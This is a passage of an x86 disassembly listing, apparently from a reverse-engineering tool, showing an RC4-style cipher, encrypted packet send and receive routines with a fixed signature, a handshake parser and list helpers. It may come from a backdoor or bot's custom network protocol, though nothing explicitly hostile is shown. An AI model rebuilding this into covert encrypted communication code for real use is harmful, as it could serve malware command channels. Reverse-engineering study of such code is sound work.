		xor	ecx, ecx


loc_4018F1:				; CODE XREF: sub_4018BB+77j
		lea	eax, [ebx+ecx*4]
		mov	[ebp+var_C], eax
		mov	edx, [eax]
		mov	[ebp+var_4], edx
		add	edx, edi
		mov	esi, [ebp+var_8]
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax+esi]
		add	eax, edx
		movzx	edi, al
		mov	eax, [ebx+edi*4]
		mov	edx, [ebp+var_C]
		mov	[edx], eax
		mov	eax, [ebp+var_4]
		mov	[ebx+edi*4], eax
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax
		cmp	eax, [ebp+arg_8]
		jl	short loc_40192B
		and	[ebp+var_8], 0


loc_40192B:				; CODE XREF: sub_4018BB+6Aj
		inc	ecx
		cmp	ecx, 100h
		jl	short loc_4018F1
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4018BB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40193B	proc near		; CODE XREF: sub_401ADA+86p
					; sub_401BAC+71p ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		mov	ebx, [eax+400h]
		mov	edi, [eax+404h]
		mov	ecx, eax
		and	[ebp+var_8], 0
		jmp	short loc_4019A2
; ---------------------------------------------------------------------------


loc_40195B:				; CODE XREF: sub_40193B+6Dj
		lea	eax, [ebx+1]
		movzx	ebx, al
		lea	eax, [ecx+ebx*4]
		mov	edx, [eax]
		mov	[ebp+var_4], edx
		add	edx, edi
		movzx	edi, dl
		mov	edx, [ecx+edi*4]
		mov	[ebp+var_C], edx
		mov	[eax], edx
		mov	eax, [ebp+var_4]
		mov	[ecx+edi*4], eax
		mov	eax, [ebp+var_8]
		mov	edx, [ebp+arg_4]
		add	eax, edx
		mov	[ebp+var_10], eax
		movsx	edx, byte ptr [eax]
		mov	esi, [ebp+var_4]
		mov	eax, [ebp+var_C]
		add	eax, esi
		movzx	eax, al
		xor	edx, [ecx+eax*4]
		mov	al, dl
		mov	edx, [ebp+var_10]
		mov	[edx], al
		inc	[ebp+var_8]


loc_4019A2:				; CODE XREF: sub_40193B+1Ej
		mov	eax, [ebp+arg_8]
		cmp	[ebp+var_8], eax
		jl	short loc_40195B
		mov	edx, [ebp+arg_0]
		mov	[edx+400h], ebx
		mov	edx, [ebp+arg_0]
		mov	[edx+404h], edi
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40193B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4019C3	proc near		; CODE XREF: sub_403C3F+EFp

var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	eax
		push	ebx
		push	esi
		push	474h
		call	sub_401048
		pop	ecx
		mov	esi, eax
		push	10020h
		call	sub_401048
		pop	ecx
		mov	[esi+46Ch], eax
		mov	[ebp+var_1], 5Ah
		xor	ebx, ebx


loc_4019ED:				; CODE XREF: sub_4019C3+3Fj
		mov	al, [ebp+var_1]
		mov	[esi+ebx+4], al
		movsx	eax, [ebp+var_1]
		lea	eax, [ebx+eax*2]
		mov	[ebp+var_1], al
		inc	ebx
		cmp	ebx, 40h
		jl	short loc_4019ED
		mov	[ebp+var_1], 0A5h
		xor	ebx, ebx


loc_401A0A:				; CODE XREF: sub_4019C3+5Dj
		mov	al, [ebp+var_1]
		mov	[esi+ebx+44h], al
		movsx	eax, [ebp+var_1]
		add	eax, eax
		sub	eax, ebx
		mov	[ebp+var_1], al
		inc	ebx
		cmp	ebx, 20h
		jl	short loc_401A0A
		mov	eax, [ebp+arg_0]
		mov	[esi], eax
		mov	eax, [esi+46Ch]
		mov	[esi+470h], eax
		mov	eax, esi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4019C3	endp


; =============== S U B	R O U T	I N E =======================================



sub_401A3B	proc near		; CODE XREF: sub_403C3F+37Fp

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	dword ptr [ebx+46Ch]
		call	sub_401076
		pop	ecx
		push	ebx
		call	sub_401076
		pop	ecx
		pop	ebx
		retn
sub_401A3B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401A55	proc near		; CODE XREF: sub_401ADA+27p
					; sub_401BAC+36p

var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	eax
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		push	40h
		lea	eax, [ebx+4]
		push	eax
		lea	eax, [ebx+64h]
		push	eax
		call	sub_4018BB
		add	esp, 0Ch
		mov	al, [ebx+4]
		mov	[ebp+var_1], al
		push	3Fh
		lea	eax, [ebx+5]
		push	eax
		lea	eax, [ebx+4]
		push	eax
		call	sub_4076F0
		add	esp, 0Ch
		mov	al, [ebp+var_1]
		mov	[ebx+43h], al
		xor	esi, esi
		xor	edi, edi
		jmp	short loc_401AAD
; ---------------------------------------------------------------------------


loc_401A95:				; CODE XREF: sub_401A55+5Bj
		lea	eax, [ebx+esi+4]
		mov	dl, [ebx+edi+44h]
		add	[eax], dl
		lea	eax, [edi+1]
		mov	ecx, 20h
		cdq
		idiv	ecx
		mov	edi, edx
		inc	esi


loc_401AAD:				; CODE XREF: sub_401A55+3Ej
		cmp	esi, 40h
		jl	short loc_401A95
		mov	al, [ebx+63h]
		mov	[ebp+var_1], al
		mov	esi, 1Fh


loc_401ABD:				; CODE XREF: sub_401A55+76j
		lea	eax, [esi-1]
		mov	al, [ebx+eax+44h]
		mov	[ebx+esi+44h], al
		dec	esi
		test	esi, esi
		jg	short loc_401ABD
		mov	al, [ebp+var_1]
		mov	[ebx+44h], al
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_401A55	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401ADA	proc near		; CODE XREF: sub_401B8F+13p
					; sub_401D76+8Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= word ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	eax
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+arg_C]
		test	esi, esi
		jl	short loc_401AF3
		cmp	esi, 0FFFFh
		jle	short loc_401AFA


loc_401AF3:				; CODE XREF: sub_401ADA+Fj
		xor	eax, eax
		jmp	loc_401B88
; ---------------------------------------------------------------------------


loc_401AFA:				; CODE XREF: sub_401ADA+17j
		cmp	[ebp+arg_10], 0
		jz	short loc_401B07
		push	ebx
		call	sub_401A55
		pop	ecx


loc_401B07:				; CODE XREF: sub_401ADA+24j
		mov	edi, [ebx+46Ch]
		mov	word ptr [edi],	29Ah
		add	edi, 2
		mov	ax, [ebp+arg_4]
		mov	[edi], ax
		add	edi, 2
		mov	ax, si
		mov	[edi], ax
		add	edi, 2
		test	esi, esi
		jz	short loc_401B39
		push	esi
		push	[ebp+arg_8]
		push	edi
		call	sub_4076F0
		add	esp, 0Ch


loc_401B39:				; CODE XREF: sub_401ADA+50j
		add	esi, 6
		push	esi
		movzx	eax, [ebp+arg_4]
		push	eax
		push	offset aPktsendIIBytes ; "PktSend(%i): %i bytes\n"
		call	nullsub_2
		add	esp, 0Ch
		cmp	[ebp+arg_10], 0
		jz	short loc_401B68
		push	esi
		push	dword ptr [ebx+46Ch]
		lea	eax, [ebx+64h]
		push	eax
		call	sub_40193B
		add	esp, 0Ch


loc_401B68:				; CODE XREF: sub_401ADA+79j
		push	esi
		push	dword ptr [ebx+46Ch]
		push	dword ptr [ebx]
		call	sub_401787
		add	esp, 0Ch
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], esi
		jge	short loc_401B85
		xor	eax, eax
		jmp	short loc_401B88
; ---------------------------------------------------------------------------


loc_401B85:				; CODE XREF: sub_401ADA+A5j
		xor	eax, eax
		inc	eax


loc_401B88:				; CODE XREF: sub_401ADA+1Bj
					; sub_401ADA+A9j
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_401ADA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401B8F	proc near		; CODE XREF: DMN0:00401F47p
					; sub_403C3F+20Bp

arg_0		= dword	ptr  8
arg_4		= word ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	1
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		movzx	eax, [ebp+arg_4]
		push	eax
		push	[ebp+arg_0]
		call	sub_401ADA
		add	esp, 14h
		pop	ebp
		retn
sub_401B8F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401BAC	proc near		; CODE XREF: sub_401D5B+11p
					; DMN0:00401E35p

var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+arg_10]
		mov	edx, [ebp+arg_4]
		mov	word ptr [edx],	0
		and	[ebp+var_4], 0
		mov	eax, [ebp+arg_C]
		test	eax, eax
		jl	short loc_401BD5
		cmp	eax, 0FFFFh
		jle	short loc_401BDD


loc_401BD5:				; CODE XREF: sub_401BAC+20j
		or	eax, 0FFFFFFFFh
		jmp	loc_401D54
; ---------------------------------------------------------------------------


loc_401BDD:				; CODE XREF: sub_401BAC+27j
		test	esi, esi
		jz	short loc_401BE8
		push	ebx
		call	sub_401A55
		pop	ecx


loc_401BE8:				; CODE XREF: sub_401BAC+33j
		push	2
		lea	eax, [ebp+var_6]
		push	eax
		push	dword ptr [ebx]
		call	sub_4016DC
		add	esp, 0Ch
		mov	edi, eax
		cmp	edi, 2
		jge	short loc_401C0F
		mov	edx, [ebp+arg_4]
		mov	word ptr [edx],	0
		or	eax, 0FFFFFFFFh
		jmp	loc_401D54
; ---------------------------------------------------------------------------


loc_401C0F:				; CODE XREF: sub_401BAC+51j
		test	esi, esi
		jz	short loc_401C25
		push	2
		lea	eax, [ebp+var_6]
		push	eax
		lea	eax, [ebx+64h]
		push	eax
		call	sub_40193B
		add	esp, 0Ch


loc_401C25:				; CODE XREF: sub_401BAC+65j
		cmp	[ebp+var_6], 29Ah
		jz	short loc_401C48
		movzx	eax, [ebp+var_6]
		push	eax
		push	offset aPktrecvInvalid ; "PktRecv(): invalid signature (%i)\n"
		call	nullsub_2
		pop	ecx
		pop	ecx
		mov	eax, 0FFFFFFFEh
		jmp	loc_401D54
; ---------------------------------------------------------------------------


loc_401C48:				; CODE XREF: sub_401BAC+7Fj
		push	2
		push	[ebp+arg_4]
		push	dword ptr [ebx]
		call	sub_4016DC
		add	esp, 0Ch
		mov	edi, eax
		cmp	edi, 2
		jge	short loc_401C6E
		mov	edx, [ebp+arg_4]
		mov	word ptr [edx],	0
		or	eax, 0FFFFFFFFh
		jmp	loc_401D54
; ---------------------------------------------------------------------------


loc_401C6E:				; CODE XREF: sub_401BAC+B0j
		test	esi, esi
		jz	short loc_401C83
		push	2
		push	[ebp+arg_4]
		lea	eax, [ebx+64h]
		push	eax
		call	sub_40193B
		add	esp, 0Ch


loc_401C83:				; CODE XREF: sub_401BAC+C4j
		mov	eax, [ebp+arg_4]
		movzx	eax, word ptr [eax]
		push	eax
		push	offset aPktrecvPacketi ; "PktRecv(): packetId: 0x%03x\n"
		call	nullsub_2
		pop	ecx
		pop	ecx
		push	2
		lea	eax, [ebp+var_4]
		push	eax
		push	dword ptr [ebx]
		call	sub_4016DC
		add	esp, 0Ch
		mov	edi, eax
		cmp	edi, 2
		jge	short loc_401CBD
		mov	edx, [ebp+arg_4]
		mov	word ptr [edx],	0
		or	eax, 0FFFFFFFFh
		jmp	loc_401D54
; ---------------------------------------------------------------------------


loc_401CBD:				; CODE XREF: sub_401BAC+FFj
		test	esi, esi
		jz	short loc_401CD3
		push	2
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebx+64h]
		push	eax
		call	sub_40193B
		add	esp, 0Ch


loc_401CD3:				; CODE XREF: sub_401BAC+113j
		push	[ebp+arg_C]
		push	[ebp+var_4]
		push	offset aProtorecvDataS ; "protorecv(): data size: %i (of %i)\n"
		call	nullsub_2
		add	esp, 0Ch
		cmp	[ebp+var_4], 0
		jz	short loc_401D0B
		push	[ebp+var_4]
		push	dword ptr [ebx+46Ch]
		push	dword ptr [ebx]
		call	sub_4016DC
		add	esp, 0Ch
		mov	edi, eax
		cmp	edi, [ebp+var_4]
		jge	short loc_401D0B
		or	eax, 0FFFFFFFFh
		jmp	short loc_401D54
; ---------------------------------------------------------------------------


loc_401D0B:				; CODE XREF: sub_401BAC+13Ej
					; sub_401BAC+158j
		test	esi, esi
		jz	short loc_401D24
		push	[ebp+var_4]
		push	dword ptr [ebx+46Ch]
		lea	eax, [ebx+64h]
		push	eax
		call	sub_40193B
		add	esp, 0Ch


loc_401D24:				; CODE XREF: sub_401BAC+161j
		cmp	[ebp+arg_8], 0
		jz	short loc_401D51
		mov	eax, [ebp+arg_C]
		cmp	[ebp+var_4], eax
		jle	short loc_401D38
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_4], eax


loc_401D38:				; CODE XREF: sub_401BAC+184j
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	short loc_401D51
		push	eax
		push	dword ptr [ebx+46Ch]
		push	[ebp+arg_8]
		call	sub_4076F0
		add	esp, 0Ch


loc_401D51:				; CODE XREF: sub_401BAC+17Cj
					; sub_401BAC+191j
		mov	eax, [ebp+var_4]


loc_401D54:				; CODE XREF: sub_401BAC+2Cj
					; sub_401BAC+5Ej ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_401BAC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401D5B	proc near		; CODE XREF: sub_401F51+18p
					; sub_403C3F+26Ep

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	1
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_401BAC
		add	esp, 14h
		pop	ebp
		retn
sub_401D5B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401D76	proc near		; CODE XREF: sub_403C3F+166p

var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= word ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 80h
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+arg_8]
		lea	edi, [ebp+var_80]
		lea	edi, [ebp+var_80]
		mov	word ptr [edi],	1
		add	edi, 2
		mov	word ptr [edi],	10h
		add	edi, 2
		and	dword ptr [edi], 0
		add	edi, 4
		mov	ax, [ebp+arg_4]
		mov	[edi], ax
		add	edi, 4
		or	esi, 1000h
		mov	ax, si
		mov	[edi], ax
		add	edi, 2
		mov	word ptr [edi],	40h
		add	edi, 2
		mov	word ptr [edi],	20h
		add	edi, 2
		push	40h
		lea	eax, [ebx+4]
		push	eax
		push	edi
		call	sub_4076F0
		add	esp, 0Ch
		add	edi, 40h
		push	20h
		lea	eax, [ebx+44h]
		push	eax
		push	edi
		call	sub_4076F0
		add	esp, 0Ch
		add	edi, 20h
		push	0
		lea	eax, [ebp+var_80]
		mov	edx, edi
		sub	edx, eax
		push	edx
		lea	eax, [ebp+var_80]
		push	eax
		push	1
		push	ebx
		call	sub_401ADA
		add	esp, 14h
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_401D76	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 84h
		push	ebx
		push	esi
		push	edi
		lea	ebx, [ebp-80h]
		push	0
		push	80h
		lea	eax, [ebp-80h]
		push	eax
		lea	eax, [ebp-84h]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_401BAC
		add	esp, 14h
		mov	esi, eax
		cmp	word ptr [ebp-84h], 1
		jnz	short loc_401E4E
		cmp	esi, 0Ah
		jge	short loc_401E7B


loc_401E4E:				; CODE XREF: DMN0:00401E47j
		cmp	esi, 0Ah
		jge	short loc_401E60
		push	offset aHandshakeRecvE ; "Handshake: recv() error\n"
		call	nullsub_2
		pop	ecx
		jmp	short loc_401E74
; ---------------------------------------------------------------------------


loc_401E60:				; CODE XREF: DMN0:00401E51j
		movzx	eax, word ptr [ebp-84h]
		push	eax
		push	offset aHandshakeBadPa ; "Handshake: bad packed	(%i)\n"
		call	nullsub_2
		pop	ecx
		pop	ecx


loc_401E74:				; CODE XREF: DMN0:00401E5Ej
		xor	eax, eax
		jmp	loc_401F2F
; ---------------------------------------------------------------------------


loc_401E7B:				; CODE XREF: DMN0:00401E4Cj
		lea	ebx, [ebp-80h]
		cmp	word ptr [ebx],	1
		jz	short loc_401E9B
		movzx	eax, word ptr [ebx]
		push	eax
		push	offset aHandshakeBadVe ; "Handshake: bad version (%i)\n"
		call	nullsub_2
		pop	ecx
		pop	ecx
		xor	eax, eax
		jmp	loc_401F2F
; ---------------------------------------------------------------------------


loc_401E9B:				; CODE XREF: DMN0:00401E82j
		add	ebx, 2
		mov	edx, [ebp+0Ch]
		movzx	eax, word ptr [ebx]
		mov	[edx], eax
		add	ebx, 2
		add	ebx, 4
		mov	edx, [ebp+10h]
		mov	ax, [ebx]
		mov	[edx], ax
		add	ebx, 4
		mov	edx, [ebp+14h]
		movzx	eax, word ptr [ebx]
		mov	[edx], eax
		add	ebx, 2
		mov	ax, [ebx]
		mov	[ebp-82h], ax
		add	ebx, 2
		cmp	word ptr [ebp-82h], 40h
		jz	short loc_401EDE
		xor	eax, eax
		jmp	short loc_401F2F
; ---------------------------------------------------------------------------


loc_401EDE:				; CODE XREF: DMN0:00401ED8j
		mov	di, [ebx]
		add	ebx, 2
		cmp	di, 20h
		jz	short loc_401EEE
		xor	eax, eax
		jmp	short loc_401F2F
; ---------------------------------------------------------------------------


loc_401EEE:				; CODE XREF: DMN0:00401EE8j
		sub	esi, 10h
		movzx	eax, word ptr [ebp-82h]
		movzx	edx, di
		add	eax, edx
		cmp	esi, eax
		jge	short loc_401F05
		xor	eax, eax
		jmp	short loc_401F2F
; ---------------------------------------------------------------------------


loc_401F05:				; CODE XREF: DMN0:00401EFFj
		push	40h
		push	ebx
		mov	eax, [ebp+8]
		add	eax, 4
		push	eax
		call	sub_4076F0
		add	esp, 0Ch
		add	ebx, 40h
		push	20h
		push	ebx
		mov	eax, [ebp+8]
		add	eax, 44h
		push	eax
		call	sub_4076F0
		add	esp, 0Ch
		xor	eax, eax
		inc	eax


loc_401F2F:				; CODE XREF: DMN0:00401E76j
					; DMN0:00401E96j ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	1
		lea	eax, [ebp+0Ch]
		push	eax
		push	29Ah
		push	dword ptr [ebp+8]
		call	sub_401B8F
		add	esp, 10h
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401F51	proc near		; CODE XREF: sub_403C3F+18Ep
					; sub_403C3F+245p

var_4		= word ptr -4
var_2		= word ptr -2
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	eax
		push	ebx
		mov	[ebp+var_2], 0
		push	1
		lea	eax, [ebp+var_2]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_0]
		call	sub_401D5B
		add	esp, 10h
		mov	ebx, eax
		cmp	[ebp+var_4], 29Ah
		jnz	short loc_401F80
		cmp	ebx, 1
		jz	short loc_401F85


loc_401F80:				; CODE XREF: sub_401F51+28j
		or	eax, 0FFFFFFFFh
		jmp	short loc_401F89
; ---------------------------------------------------------------------------


loc_401F85:				; CODE XREF: sub_401F51+2Dj
		movzx	eax, [ebp+var_2]


loc_401F89:				; CODE XREF: sub_401F51+32j
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_401F51	endp


; =============== S U B	R O U T	I N E =======================================



sub_401F8E	proc near		; CODE XREF: sub_4067B0+3Ap
		push	ebx
		push	10h
		call	sub_401048
		pop	ecx
		mov	ebx, eax
		pop	ebx
		retn
sub_401F8E	endp


; =============== S U B	R O U T	I N E =======================================



sub_401F9B	proc near		; CODE XREF: DMN0:00401FD4p
					; DMN0:004021DFp ...

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		mov	ebx, [esp+0Ch+arg_0]
		test	ebx, ebx
		jz	short loc_401FC6
		mov	esi, [ebx+4]
		jmp	short loc_401FB7
; ---------------------------------------------------------------------------


loc_401FAB:				; CODE XREF: sub_401F9B+1Ej
		mov	edi, esi
		mov	esi, [esi+8]
		push	edi
		call	sub_401076
		pop	ecx


loc_401FB7:				; CODE XREF: sub_401F9B+Ej
		test	esi, esi
		jnz	short loc_401FAB
		and	dword ptr [ebx], 0
		and	dword ptr [ebx+4], 0
		and	dword ptr [ebx+8], 0


loc_401FC6:				; CODE XREF: sub_401F9B+9j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_401F9B	endp

; ---------------------------------------------------------------------------
		push	ebx
		mov	ebx, [esp+8]
		test	ebx, ebx
		jz	short loc_401FE1
		push	ebx
		call	sub_401F9B
		pop	ecx
		push	ebx
		call	sub_401076
		pop	ecx


loc_401FE1:				; CODE XREF: DMN0:00401FD1j
		pop	ebx
		retn

; =============== S U B	R O U T	I N E =======================================



sub_401FE3	proc near		; CODE XREF: sub_4042CD+B0p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= word ptr  0Ch

		push	ebx
		mov	ecx, [esp+4+arg_4]
		mov	bx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_0]
		mov	edx, [eax+4]
		jmp	short loc_40200A
; ---------------------------------------------------------------------------


loc_401FF6:				; CODE XREF: sub_401FE3+29j
		cmp	[edx+4], ecx
		jnz	short loc_402007
		test	bx, bx
		jz	short loc_402005
		cmp	[edx], bx
		jnz	short loc_402007


loc_402005:				; CODE XREF: sub_401FE3+1Bj
		jmp	short loc_40200E
; ---------------------------------------------------------------------------


loc_402007:				; CODE XREF: sub_401FE3+16j
					; sub_401FE3+20j
		mov	edx, [edx+8]


loc_40200A:				; CODE XREF: sub_401FE3+11j
		test	edx, edx
		jnz	short loc_401FF6


loc_40200E:				; CODE XREF: sub_401FE3:loc_402005j
		mov	eax, edx
		pop	ebx
		retn
sub_401FE3	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		mov	ebx, [esp+0Ch]
		push	14h
		call	sub_401048
		pop	ecx
		mov	esi, eax
		mov	eax, [ebx+4]
		mov	[esi+8], eax
		mov	[ebx+4], esi
		cmp	dword ptr [ebx], 0
		jnz	short loc_402032
		mov	[ebx], esi


loc_402032:				; CODE XREF: DMN0:0040202Ej
		inc	dword ptr [ebx+8]
		mov	eax, [esp+10h]
		mov	[esi+4], eax
		mov	ax, [esp+14h]
		mov	[esi], ax
		mov	eax, esi
		pop	esi
		pop	ebx
		retn

; =============== S U B	R O U T	I N E =======================================



sub_402049	proc near		; CODE XREF: DMN0:004021F6p
					; sub_403B86+43p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= word ptr  0Ch

		push	ebx
		push	esi
		mov	ebx, [esp+8+arg_0]
		push	14h
		call	sub_401048
		pop	ecx
		mov	esi, eax
		cmp	dword ptr [ebx], 0
		jz	short loc_402067
		mov	edx, [ebx]
		mov	[edx+8], esi
		mov	[ebx], esi
		jmp	short loc_40206C
; ---------------------------------------------------------------------------


loc_402067:				; CODE XREF: sub_402049+13j
		mov	[ebx], esi
		mov	[ebx+4], esi


loc_40206C:				; CODE XREF: sub_402049+1Cj
		inc	dword ptr [ebx+8]
		mov	eax, [esp+8+arg_4]
		mov	[esi+4], eax
		mov	ax, [esp+8+arg_8]
		mov	[esi], ax
		mov	eax, esi
		pop	esi
		pop	ebx
		retn
sub_402049	endp


; =============== S U B	R O U T	I N E =======================================



sub_402083	proc near		; CODE XREF: DMN0:0040219Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= word ptr  0Ch

		push	ebx
		push	esi
		push	edi
		mov	bx, [esp+0Ch+arg_8]
		xor	edi, edi
		mov	eax, [esp+0Ch+arg_0]
		mov	esi, [eax+4]
		jmp	short loc_4020B0
; ---------------------------------------------------------------------------


loc_402096:				; CODE XREF: sub_402083+2Fj
		mov	eax, [esp+0Ch+arg_4]
		cmp	[esi+4], eax
		jnz	short loc_4020AB
		test	bx, bx
		jz	short loc_4020A9
		cmp	[esi], bx
		jnz	short loc_4020AB


loc_4020A9:				; CODE XREF: sub_402083+1Fj
		jmp	short loc_4020B4
; ---------------------------------------------------------------------------


loc_4020AB:				; CODE XREF: sub_402083+1Aj
					; sub_402083+24j
		mov	edi, esi
		mov	esi, [esi+8]


loc_4020B0:				; CODE XREF: sub_402083+11j
		test	esi, esi
		jnz	short loc_402096


loc_4020B4:				; CODE XREF: sub_402083:loc_4020A9j
		test	esi, esi
		jnz	short loc_4020BC
		xor	eax, eax
		jmp	short loc_402102
; ---------------------------------------------------------------------------


loc_4020BC:				; CODE XREF: sub_402083+33j
		test	edi, edi
		jz	short loc_4020D6
		mov	eax, [esp+0Ch+arg_0]
		cmp	esi, [eax]
		jnz	short loc_4020CE
		mov	edx, [esp+0Ch+arg_0]
		mov	[edx], edi


loc_4020CE:				; CODE XREF: sub_402083+43j
		mov	eax, [esi+8]
		mov	[edi+8], eax
		jmp	short loc_4020F1
; ---------------------------------------------------------------------------


loc_4020D6:				; CODE XREF: sub_402083+3Bj
		mov	edx, [esp+0Ch+arg_0]
		mov	eax, [esi+8]
		mov	[edx+4], eax
		mov	eax, [esp+0Ch+arg_0]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_4020F1
		mov	edx, [esp+0Ch+arg_0]
		and	dword ptr [edx], 0


loc_4020F1:				; CODE XREF: sub_402083+51j
					; sub_402083+65j
		mov	eax, [esp+0Ch+arg_0]
		dec	dword ptr [eax+8]
		push	esi
		call	sub_401076
		pop	ecx
		xor	eax, eax
		inc	eax


loc_402102:				; CODE XREF: sub_402083+37j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_402083	endp


; =============== S U B	R O U T	I N E =======================================



sub_402106	proc near		; CODE XREF: DMN0:004021C5p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		push	edi
		mov	ebx, [esp+0Ch+arg_8]
		xor	edi, edi
		mov	eax, [esp+0Ch+arg_0]
		mov	esi, [eax+4]
		jmp	short loc_402128
; ---------------------------------------------------------------------------


loc_402118:				; CODE XREF: sub_402106+24j
		mov	eax, [esp+0Ch+arg_4]
		sub	eax, [esi+10h]
		cmp	eax, ebx
		jnb	short loc_40212C
		mov	edi, esi
		mov	esi, [esi+8]


loc_402128:				; CODE XREF: sub_402106+10j
		test	esi, esi
		jnz	short loc_402118


loc_40212C:				; CODE XREF: sub_402106+1Bj
		test	esi, esi
		jnz	short loc_402134
		xor	eax, eax
		jmp	short loc_40217A
; ---------------------------------------------------------------------------


loc_402134:				; CODE XREF: sub_402106+28j
		test	edi, edi
		jz	short loc_40214E
		mov	eax, [esp+0Ch+arg_0]
		cmp	esi, [eax]
		jnz	short loc_402146
		mov	edx, [esp+0Ch+arg_0]
		mov	[edx], edi


loc_402146:				; CODE XREF: sub_402106+38j
		mov	eax, [esi+8]
		mov	[edi+8], eax
		jmp	short loc_402169
; ---------------------------------------------------------------------------


loc_40214E:				; CODE XREF: sub_402106+30j
		mov	edx, [esp+0Ch+arg_0]
		mov	eax, [esi+8]
		mov	[edx+4], eax
		mov	eax, [esp+0Ch+arg_0]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_402169
		mov	edx, [esp+0Ch+arg_0]
		and	dword ptr [edx], 0


loc_402169:				; CODE XREF: sub_402106+46j
					; sub_402106+5Aj
		mov	eax, [esp+0Ch+arg_0]
		dec	dword ptr [eax+8]
		push	esi
		call	sub_401076
		pop	ecx
		xor	eax, eax
		inc	eax


loc_40217A:				; CODE XREF: sub_402106+2Cj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_402106	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+0Ch]
		mov	si, [ebp+10h]
		xor	edi, edi
		jmp	short loc_402192
; ---------------------------------------------------------------------------


loc_40218F:				; CODE XREF: DMN0:004021A4j
		xor	edi, edi
		inc	edi


loc_402192:				; CODE XREF: DMN0:0040218Dj
		movzx	eax, si
		push	eax
		push	ebx
		push	dword ptr [ebp+8]
		call	sub_402083
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_40218F
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	ebp
